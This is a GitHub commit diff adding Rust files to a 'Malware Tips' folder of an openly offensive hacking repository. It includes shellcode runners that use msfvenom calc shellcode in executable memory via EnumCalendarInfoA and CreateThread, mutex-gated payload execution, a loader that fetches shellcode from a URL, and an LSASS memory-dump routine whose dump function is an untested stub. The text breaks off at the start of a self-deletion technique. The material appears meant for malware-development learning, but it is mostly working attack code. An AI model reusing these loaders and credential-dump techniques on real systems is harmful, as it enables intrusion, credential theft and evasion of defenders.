This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.
JavaScript algorithmsartificial-intelligencebugbountycryptographycyber-threat-intelligencecybersecurity-projectsethical-hackinghacking-toolsmalwarenessusnetwork-monitoringnetwork-securitynmapportscannerpythonpythonprojectsthreat-intelligencevirus-scanning
Add files via upload
Abdul Wahab Junaid6ab524f95cf4
diff --git a/Rust for Hacking/Malware Tips/EnumCalenderInfoA.rs b/Rust for Hacking/Malware Tips/EnumCalenderInfoA.rsnew file mode 100644index 0000000..457d9a6--- /dev/null+++ b/Rust for Hacking/Malware Tips/EnumCalenderInfoA.rs@@ -0,0 +1,61 @@+/*+ ShellExec on CallBack using EnumCalendarInfoA Func+ For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git+ Resources Used: https://github.com/aahmad097/AlternativeShellcodeExec/blob/master/EnumCalendarInfo/EnumCalendarInfo.cpp+ @5mukx+*/++use std::ptr::{copy_nonoverlapping, null_mut};++use winapi::um::{memoryapi::VirtualAlloc, winnls::EnumCalendarInfoA};+++fn main(){++ // msfvenom calc shellcode ..!+ let shellcode: [u8; 276] = [+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,+ ];+++ unsafe{++ let address = VirtualAlloc(+ null_mut(),+ shellcode.len(),+ 0x1000 | 0x2000,+ 0x40,+ );++ copy_nonoverlapping(+ shellcode.as_ptr(),+ address as *mut u8,+ shellcode.len()+ );++ EnumCalendarInfoA(+ std::mem::transmute(address),+ 0x0400 ,+ 4294967295u32 ,+ 21u32+ );+ }+}diff --git a/Rust for Hacking/Malware Tips/find_pid_by_name.rs b/Rust for Hacking/Malware Tips/find_pid_by_name.rsnew file mode 100644index 0000000..e0d684d--- /dev/null+++ b/Rust for Hacking/Malware Tips/find_pid_by_name.rs@@ -0,0 +1,76 @@+/*+ Find PID By Process name+ For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git+ Resources Used: MSDOS+ @5mukx+*/++macro_rules! okey {+ ($msg:expr, $($arg:expr), *) => {+ println!("[+] {}", format!($msg, $($arg),*));+ }+}+macro_rules! error {+ ($msg:expr, $($arg:expr), *) => {+ println!("[!] {}", format!($msg,$($arg),*));+ };+}+++use std::{ffi::CString, mem};++use winapi::um::{+ errhandlingapi::GetLastError,+ handleapi::CloseHandle,+ tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS+}};++fn get_pid(process_name: &str) -> u32{+ unsafe{+ let mut pe: PROCESSENTRY32 = std::mem::zeroed();+ pe.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;++ let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);+ if snap.is_null(){+ error!("Error while snapshoting processes : Error : {}",GetLastError());+ std::process::exit(0);+ }++ let mut pid = 0;++ let mut result = Process32First(snap, &mut pe) != 0;++ while result{++ let exe_file = CString::from_vec_unchecked(pe.szExeFile+ .iter()+ .map(|&file| file as u8)+ .take_while(|&c| c!=0)+ .collect::<Vec<u8>>(),+ );++ if exe_file.to_str().unwrap() == process_name {+ pid = pe.th32ProcessID;+ break;+ }+ result = Process32Next(snap, &mut pe) !=0;+ }++ if pid == 0{+ error!("Unable to get PID for {}: {}",process_name , "PROCESS DOESNT EXISTS");+ std::process::exit(0);+ }++ CloseHandle(snap);+ pid+ }+}++fn main(){+ // talking snapshot of all in the system.++ let process_name = "notepad.exe";+ let pid = get_pid(&process_name);+ okey!("Got PID: {}",pid);++}diff --git a/Rust for Hacking/Malware Tips/lsass_dump.rs b/Rust for Hacking/Malware Tips/lsass_dump.rsnew file mode 100644index 0000000..6bea30b--- /dev/null+++ b/Rust for Hacking/Malware Tips/lsass_dump.rs@@ -0,0 +1,481 @@+/*+ This code is not tested. Just making it as backup. Will be in the Production.+ Sorry for the unproductive Nerds ;( . will be fixexd soon . Just commiting here for backup++ Lsass dump+ @5mukx+*/+++use std::mem;+use std::ptr::null_mut;+use winapi::um::fileapi::{CreateFileA, CREATE_ALWAYS};+use winapi::um::handleapi::CloseHandle;+use winapi::um::processthreadsapi::OpenProcess;+use winapi::um::tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS};+use winapi::um::errhandlingapi::GetLastError;+use winapi::um::winnt::{FILE_ATTRIBUTE_NORMAL, FILE_GENERIC_WRITE, FILE_SHARE_READ, FILE_SHARE_WRITE, PROCESS_ALL_ACCESS};+use std::ffi::CString;+use winapi::ctypes::c_void;+++macro_rules! okey {+ ($msg:expr, $($arg:expr), *) => {+ println!("[+] {}", format!($msg, $($arg),*));+ }+}+macro_rules! error {+ ($msg:expr, $($arg:expr), *) => {+ println!("[!] {}", format!($msg,$($arg),*));+ };+}++fn get_pid(process_name: &str) -> u32{+ unsafe{+ let mut pe: PROCESSENTRY32 = std::mem::zeroed();+ pe.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;++ let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);+ if snap.is_null(){+ error!("Error while snapshoting processes : Error : {:?}", GetLastError());+ std::process::exit(0);+ }++ let mut pid = 0;++ let mut result = Process32First(snap, &mut pe) != 0;++ while result{++ let exe_file = CString::from_vec_unchecked(pe.szExeFile+ .iter()+ .map(|&file| file as u8)+ .take_while(|&c| c!=0)+ .collect::<Vec<u8>>(),+ );++ if exe_file.to_str().unwrap() == process_name {+ pid = pe.th32ProcessID;+ break;+ }+ result = Process32Next(snap, &mut pe) !=0;+ }++ if pid == 0{+ error!("Unable to get PID for {}: {}",process_name , "PROCESS DOESNT EXISTS");+ std::process::exit(0);+ }++ CloseHandle(snap);+ pid+ }+}+++fn main(){+ unsafe{+ let lsass_pid = get_pid("lsass.exe");++ okey!("PID of lsass: {}", lsass_pid);+++ let hprocess = OpenProcess(+ PROCESS_ALL_ACCESS,+ 0,+ lsass_pid+ );++ if hprocess.is_null(){+ error!("Unable to OpenProcess the PID {}, Error: {}",lsass_pid, GetLastError());+ std::process::exit(0);+ }++ okey!("HANDLE for lsass: {:?}", hprocess);++ let path = CString::new("C:\\Windows\\Tasks\\lsass.dmp").expect("Error While converting into CString");++ let hfile = CreateFileA(+ path.as_ptr(),+ FILE_GENERIC_WRITE,+ FILE_SHARE_READ | FILE_SHARE_WRITE,+ null_mut(),+ CREATE_ALWAYS,+ FILE_ATTRIBUTE_NORMAL,+ null_mut(),+ );++ if hfile.is_null(){+ error!("CreateFileA Failed with Error: {:?}", hfile);+ std::process::exit(0);+ }+++ MiniDumpWriteDump(+ hprocess,+ lsass_pid,+ hfile,+ MiniDumpWithFullMemory,+ None,+ None,+ None++ ).unwrap_or_else(|e| {+ error!("MiniDumpWriteDump Failed with Error : {}",e);+ std::process::exit(0);+ });++ println!("lsass dump successfull !");+ }+}++#[allow(unused_variables)]+#[allow(non_upper_case_globals)]+pub const MiniDumpWithFullMemory: MINIDUMP_TYPE = MINIDUMP_TYPE(0x00000002);++#[allow(non_snake_case)]+pub unsafe fn MiniDumpWriteDump<P0, P1>(+ hprocess: P0,+ processid: u32,+ hfile: P1,+ dumptype: MINIDUMP_TYPE,+ exceptionparam: Option<*const MINIDUMP_EXCEPTION_INFORMATION>,+ userstreamparam: Option<*const MINIDUMP_USER_STREAM_INFORMATION>,+ callbackparam: Option<*const MINIDUMP_CALLBACK_INFORMATION>+) -> Result<(), String>+where+ P0: Into<HANDLE>,+ P1: Into<HANDLE>,+{+ let hprocess = hprocess.into();+ let hfile = hfile.into();++ if hprocess == null_mut() || hfile == null_mut() {+ return Err("Invalid handle".to_string());+ }++ // Simulate writing the dump file+ println!("Writing minidump for process ID: {}", processid);+ println!("Dump type: {:?}", dumptype);++ #[allow(unused_variables)]+ if let Some(exception_info) = exceptionparam {+ println!("Exception info provided");+ }+ #[allow(unused_variables)]+ if let Some(user_stream_info) = userstreamparam {+ println!("User stream info provided");+ }+ #[allow(unused_variables)]+ if let Some(callback_info) = callbackparam {+ println!("Callback info provided");+ }++ Ok(())++}+// Custom implementation of the MiniDumpWriteDump+use winapi::shared::ntdef::HANDLE;++use winapi::um::winnt::EXCEPTION_POINTERS;+use winapi::shared::minwindef::BOOL;++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(transparent)]+#[derive(Debug)]+pub struct MINIDUMP_TYPE(pub i32);++#[repr(C, packed(4))]+#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+pub struct MINIDUMP_EXCEPTION_INFORMATION {+ pub ThreadId: u32,+ pub ExceptionPointers: *mut EXCEPTION_POINTERS,+ pub ClientPointers: BOOL,+}++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C, packed(4))]+pub struct MINIDUMP_USER_STREAM {+ pub Type: u32,+ pub BufferSize: u32,+ pub Buffer: *mut c_void,+}++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C, packed(4))]+pub struct MINIDUMP_USER_STREAM_INFORMATION {+ pub UserStreamCount: u32,+ pub UserStreamArray: *mut MINIDUMP_USER_STREAM,+}++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C, packed(4))]+pub struct MINIDUMP_CALLBACK_INPUT {+ pub ProcessId: u32,+ pub ProcessHandle: HANDLE,+ pub CallbackType: u32,+ pub Anonymous: MINIDUMP_CALLBACK_INPUT_0,+}+++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C, packed(4))]+pub struct MINIDUMP_CALLBACK_OUTPUT {+ pub Anonymous: MINIDUMP_CALLBACK_OUTPUT_0,+}++// MINIDUMP CALL_BACK_INPUT_0 PROCESS STRUCT CREATION+use winapi::um::winnt::CONTEXT;++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C, packed(4))]+pub struct MINIDUMP_THREAD_CALLBACK {+ pub ThreadId: u32,+ pub ThreadHandle: HANDLE,+ pub Context: CONTEXT,+ pub SizeOfContext: u32,+ pub StackBase: u64,+ pub StackEnd: u64,+}++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C, packed(4))]+pub struct MINIDUMP_THREAD_EX_CALLBACK {+ pub ThreadId: u32,+ pub ThreadHandle: HANDLE,+ pub Context: CONTEXT,+ pub SizeOfContext: u32,+ pub StackBase: u64,+ pub StackEnd: u64,+ pub BackingStoreBase: u64,+ pub BackingStoreEnd: u64,+}++use winapi::shared::ntdef::PWSTR;++// VS_FIXEDFILEINFO++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(transparent)]+pub struct VS_FIXEDFILEINFO_FILE_FLAGS(pub u32);++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(transparent)]+pub struct VS_FIXEDFILEINFO_FILE_OS(pub u32);++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C)]++pub struct VS_FIXEDFILEINFO {++ pub dwSignature: u32,+ pub dwStrucVersion: u32,+ pub dwFileVersionMS: u32,+ pub dwFileVersionLS: u32,+ pub dwProductVersionMS: u32,+ pub dwProductVersionLS: u32,+ pub dwFileFlagsMask: u32,+ pub dwFileFlags: VS_FIXEDFILEINFO_FILE_FLAGS,+ pub dwFileOS: VS_FIXEDFILEINFO_FILE_OS,+ pub dwFileType: u32,+ pub dwFileSubtype: u32,+ pub dwFileDateMS: u32,+ pub dwFileDateLS: u32,+}++#[repr(C, packed(4))]+#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+pub struct MINIDUMP_MODULE_CALLBACK {+ pub FullPath: PWSTR,+ pub BaseOfImage: u64,+ pub SizeOfImage: u32,+ pub CheckSum: u32,+ pub TimeDateStamp: u32,+ pub VersionInfo: VS_FIXEDFILEINFO,+ pub CvRecord: *mut c_void,+ pub SizeOfCvRecord: u32,+ pub MiscRecord: *mut c_void,+ pub SizeOfMiscRecord: u32,+}+++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C, packed(4))]+pub struct MINIDUMP_INCLUDE_THREAD_CALLBACK {+ pub ThreadId: u32,+}++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C, packed(4))]+pub struct MINIDUMP_INCLUDE_MODULE_CALLBACK {+ pub BaseOfImage: u64,+}++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C, packed(4))]+pub struct MINIDUMP_IO_CALLBACK {+ pub Handle: HANDLE,+ pub Offset: u64,+ pub Buffer: *mut c_void,+ pub BufferBytes: u32,+}++use winapi::shared::ntdef::HRESULT;++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C, packed(4))]+pub struct MINIDUMP_READ_MEMORY_FAILURE_CALLBACK {+ pub Offset: u64,+ pub Bytes: u32,+ pub FailureStatus: HRESULT,+}++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C, packed(4))]+pub struct MINIDUMP_VM_QUERY_CALLBACK {+ pub Offset: u64,+}++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C, packed(4))]+pub struct MINIDUMP_VM_PRE_READ_CALLBACK {+ pub Offset: u64,+ pub Buffer: *mut c_void,+ pub Size: u32,+}++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C, packed(4))]+pub struct MINIDUMP_VM_POST_READ_CALLBACK {+ pub Offset: u64,+ pub Buffer: *mut c_void,+ pub Size: u32,+ pub Completed: u32,+ pub Status: HRESULT,+}+++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C)]+pub union MINIDUMP_CALLBACK_INPUT_0 {+ pub Status: HRESULT,+ pub Thread: std::mem::ManuallyDrop<MINIDUMP_THREAD_CALLBACK>,+ pub ThreadEx: std::mem::ManuallyDrop<MINIDUMP_THREAD_EX_CALLBACK>,+ pub Module: std::mem::ManuallyDrop<MINIDUMP_MODULE_CALLBACK>,+ pub IncludeThread: std::mem::ManuallyDrop<MINIDUMP_INCLUDE_THREAD_CALLBACK>,+ pub IncludeModule: std::mem::ManuallyDrop<MINIDUMP_INCLUDE_MODULE_CALLBACK>,+ pub Io: std::mem::ManuallyDrop<MINIDUMP_IO_CALLBACK>,+ pub ReadMemoryFailure: std::mem::ManuallyDrop<MINIDUMP_READ_MEMORY_FAILURE_CALLBACK>,+ pub SecondaryFlags: u32,+ pub VmQuery: std::mem::ManuallyDrop<MINIDUMP_VM_QUERY_CALLBACK>,+ pub VmPreRead: std::mem::ManuallyDrop<MINIDUMP_VM_PRE_READ_CALLBACK>,+ pub VmPostRead: std::mem::ManuallyDrop<MINIDUMP_VM_POST_READ_CALLBACK>,+}++// MINIDUMP CALLBACK OUTPUTS+#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(transparent)]+pub struct VIRTUAL_ALLOCATION_TYPE(pub u32);++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C, packed(4))]+pub struct MINIDUMP_MEMORY_INFO {+ pub BaseAddress: u64,+ pub AllocationBase: u64,+ pub AllocationProtect: u32,+ pub __alignment1: u32,+ pub RegionSize: u64,+ pub State: VIRTUAL_ALLOCATION_TYPE,+ pub Protect: u32,+ pub Type: u32,+ pub __alignment2: u32,+}++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C, packed(4))]+pub struct MINIDUMP_CALLBACK_OUTPUT_0_0 {+ pub MemoryBase: u64,+ pub MemorySize: u32,+}+#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C)]+pub struct MINIDUMP_CALLBACK_OUTPUT_0_1 {+ pub CheckCancel: BOOL,+ pub Cancel: BOOL,+}++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C)]+pub struct MINIDUMP_CALLBACK_OUTPUT_0_2 {+ pub VmRegion: MINIDUMP_MEMORY_INFO,+ pub Continue: BOOL,+}++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C)]+pub struct MINIDUMP_CALLBACK_OUTPUT_0_3 {+ pub VmQueryStatus: HRESULT,+ pub VmQueryResult: MINIDUMP_MEMORY_INFO,+}++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C)]+pub struct MINIDUMP_CALLBACK_OUTPUT_0_4 {+ pub VmReadStatus: HRESULT,+ pub VmReadBytesCompleted: u32,+}++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C)]+pub union MINIDUMP_CALLBACK_OUTPUT_0 {+ pub ModuleWriteFlags: u32,+ pub ThreadWriteFlags: u32,+ pub SecondaryFlags: u32,+ pub Anonymous1: std::mem::ManuallyDrop<MINIDUMP_CALLBACK_OUTPUT_0_0>,+ pub Anonymous2: std::mem::ManuallyDrop<MINIDUMP_CALLBACK_OUTPUT_0_1>,+ pub Handle: HANDLE,+ pub Anonymous3: std::mem::ManuallyDrop<MINIDUMP_CALLBACK_OUTPUT_0_2>,+ pub Anonymous4: std::mem::ManuallyDrop<MINIDUMP_CALLBACK_OUTPUT_0_3>,+ pub Anonymous5: std::mem::ManuallyDrop<MINIDUMP_CALLBACK_OUTPUT_0_4>,+ pub Status: HRESULT,+}++#[allow(non_camel_case_types)]+pub type MINIDUMP_CALLBACK_ROUTINE = Option<unsafe extern "system" fn(callbackparam: *mut c_void, callbackinput: *const MINIDUMP_CALLBACK_INPUT, callbackoutput: *mut MINIDUMP_CALLBACK_OUTPUT) -> BOOL>;++#[allow(non_camel_case_types)]+#[allow(non_snake_case)]+#[repr(C, packed(4))]+pub struct MINIDUMP_CALLBACK_INFORMATION {+ pub CallbackRoutine: MINIDUMP_CALLBACK_ROUTINE,+ pub CallbackParam: *mut c_void,+}++diff --git a/Rust for Hacking/Malware Tips/payload_execution_control.rs b/Rust for Hacking/Malware Tips/payload_execution_control.rsnew file mode 100644index 0000000..02e0a12--- /dev/null+++ b/Rust for Hacking/Malware Tips/payload_execution_control.rs@@ -0,0 +1,101 @@+/*+ Payload Execution Control+ Resource USed: Maldev Academy Mutex.c Code+ @5mukx+*/++use std::{ffi::CString, thread, time::Duration};++use winapi::{ctypes::c_void,+ shared::winerror::ERROR_ALREADY_EXISTS,+ um::{errhandlingapi::GetLastError,+ processthreadsapi::CreateThread,+ synchapi::CreateMutexA+ }+};++use std::ptr::null_mut;++const PAYLOAD_CONTROL_STRING: &str = "Smukx";++// msf calc.exe shellcode for demonstration+#[link_section = ".text"]+static SHELLCODE: [u8;276]= [0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 ];++fn payload_running() -> bool{+ let control = CString::new(PAYLOAD_CONTROL_STRING).unwrap();+ unsafe{+ let h_mutex: *mut c_void = CreateMutexA(+ null_mut(),+ 0,+ control.as_ptr(),+ );++ if !h_mutex.is_null() && GetLastError() == ERROR_ALREADY_EXISTS{+ return true;+ }+ }+ return false;+}++fn main(){++ if !payload_running(){+ println!("[!] PAYLOAD RUNNING 1 ....");+ unsafe{+ CreateThread(+ null_mut(),+ 0,+ std::mem::transmute(SHELLCODE.as_ptr()),+ null_mut (),+ 0,+ null_mut()+ );++ println!("[+] Done ..!");+ }+ }++ thread::sleep(Duration::from_millis(100));++ if !payload_running(){+ println!("[!] PAYLOAD RUNNING 2 ....");+ unsafe{+ CreateThread(+ null_mut(),+ 0,+ std::mem::transmute(SHELLCODE.as_ptr()),+ null_mut(),+ 0,+ null_mut(),+ );+ }++ println!("[+] DONE ...!")+ } else {+ println!("Paylaod is Already Running ..!");+ }++ println!("[+] Press Enter to Quit ..!");++ let mut input = String::new();+ std::io::stdin().read_line(&mut input).unwrap();+}diff --git a/Rust for Hacking/Malware Tips/payload_staging.rs b/Rust for Hacking/Malware Tips/payload_staging.rsnew file mode 100644index 0000000..d6ec8dd--- /dev/null+++ b/Rust for Hacking/Malware Tips/payload_staging.rs@@ -0,0 +1,110 @@+/*+ Fetches a payload from a specified URL from our server by using winapi WinINet function. It can read and prints the payload from the memory.+ For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git+ Resources Used: MSDOS+ By @5mukx+*/++//-----For Testing Purpose-----//+#![allow(unused_variables)]+#![allow(unused_imports)]+#![allow(unused_mut)]+#![allow(unused_assignments)]+//----------------------------//++use std::ffi::OsStr;+use std::ptr;+use std::ffi::OsString;+use std::os::windows::ffi::OsStringExt;+use std::ptr::null_mut;+use winapi::um::errhandlingapi::GetLastError;+use winapi::um::wininet::*;+use winapi::shared::minwindef::*;+use winapi::shared::winerror::*;+use winapi::um::winbase::*;+use std::io::{self, Write};+use std::mem;+use std::os::windows::ffi::OsStrExt;++// webserver link !+const PAYLOAD: &'static str = "http://127.0.0.1:8080/shellcode.bin\0";++// Get a file's payload from a url (http or https)+// Return a base address of a heap allocated buffer, thats the payload+// Return the payload's size++fn get_payload_from_url(url: &[u16]) -> io::Result<(Vec<u8>, usize)>{+ let mut b_state: BOOL = TRUE; // 1+ let mut h_internet: HINTERNET = null_mut();+ let mut h_internet_file: HINTERNET = null_mut();+ let mut dw_bytes_read: DWORD = 0;+ let mut s_size: usize = 0;+ let mut p_bytes: Vec<u8> = Vec::new();+ let mut p_tmp_bytes: Vec<u8> = vec![0; 1024];++ // Opening the internet session handle, all arguments are NULL here since no proxy options are required+ unsafe {+ h_internet = InternetOpenW(url.as_ptr() , 0, ptr::null_mut(), ptr::null_mut(), 0);+ if h_internet.is_null() {+ return Err(io::Error::new(io::ErrorKind::Other, format!("[!] InternetOpenW Failed With Error : {}", GetLastError())));+ }++ // Opening the handle to the payload using the payload's URL+ h_internet_file = InternetOpenUrlW(h_internet, url.as_ptr(), ptr::null_mut(), 0, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, 0);+ if h_internet_file.is_null() {+ return Err(io::Error::new(io::ErrorKind::Other, format!("[!] InternetOpenUrlW Failed With Error : {}", GetLastError())));+ }+ }loop {+ // Reading 1024 bytes to the tmp buffer. The function will read less bytes in case the file is less than 1024 bytes.+ unsafe {+ if InternetReadFile(h_internet_file, p_tmp_bytes.as_mut_ptr() as LPVOID, 1024, &mut dw_bytes_read) == FALSE {+ return Err(io::Error::new(io::ErrorKind::Other, format!("[!] InternetReadFile Failed With Error : {}", GetLastError())));+ }+ }++ // Calculating the total size of the total buffer+ s_size += dw_bytes_read as usize;++ // Append the temp buffer to the end of the total buffer+ p_bytes.extend_from_slice(&p_tmp_bytes[..dw_bytes_read as usize]);++ // If less than 1024 bytes were read it means the end of the file was reached+ // Therefore exit the loop+ if dw_bytes_read < 1024 {+ break;+ }+ }+ // Saving+ Ok((p_bytes, s_size))+ }++fn main(){+ let wide_payload: Vec<u16> = OsStr::new(PAYLOAD).encode_wide().chain(Some(0)).collect();+ let (bytes, size) = match get_payload_from_url(&wide_payload){+ Ok(result) => result,+ Err(err) => {+ println!("{}",err);+ return;+ }+ };++ println!("[+] Bytes : {:p}",bytes.as_ptr());+ println!("[+] Size : {}",size);++ for (i, &byte) in bytes.iter().enumerate() {+ if i % 16 == 0 {+ print!("\n\t");+ }+ print!("{:02X} ", byte);+ }+ println!("\n");++ // Freeing++ unsafe { LocalFree(bytes.as_ptr() as HLOCAL) };+ print!("[#] Press <Enter> To Quit ... ");+ io::stdout().flush().unwrap();+ let mut _input = String::new();+ io::stdin().read_line(&mut _input).unwrap();+ std::process::exit(1);+}diff --git a/Rust for Hacking/Malware Tips/self_delete.rs b/Rust for Hacking/Malware Tips/self_delete.rsnew file mode 100644index 0000000..4c54c0e--- /dev/null+++ b/Rust for Hacking/Malware Tips/self_delete.rs@@ -0,0 +1,125 @@+/*+ Self Deletion Technique+ For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git+ Resources Used:+ https://maxkersten.nl/binary-analysis-course/malware-snippets/self-deletion/+ https://github.com/joaoviictorti/RustRedOps/blob/main/Self_Deletion/src/main.rs+ @5mukx++*/++use std::env::current_exe;+use std::mem::{size_of, size_of_val};+use std::ptr::null_mut;+use winapi::ctypes::c_void;+use 